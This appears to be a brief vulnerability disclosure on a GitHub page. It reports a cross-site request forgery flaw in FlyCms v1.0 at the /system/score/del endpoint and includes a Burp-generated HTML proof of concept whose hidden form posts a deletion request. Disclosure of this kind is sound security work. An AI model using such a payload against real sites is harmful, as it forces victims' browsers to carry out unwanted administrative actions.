Skip to content

Latest commit

 

History

History
28 lines (19 loc) · 732 Bytes

1.md

File metadata and controls

28 lines (19 loc) · 732 Bytes
Raw

target:https://github.com/sunkaifei/FlyCms version: v1.0

FlyCms v1.0 was discovered to contain a Cross-Site Request Forgery (CSRF) via the component /system/score/del

1

Poc:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.247.192/system/score/del?0.5148174040581429" method="POST">
      <input type="hidden" name="id" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

2

Successed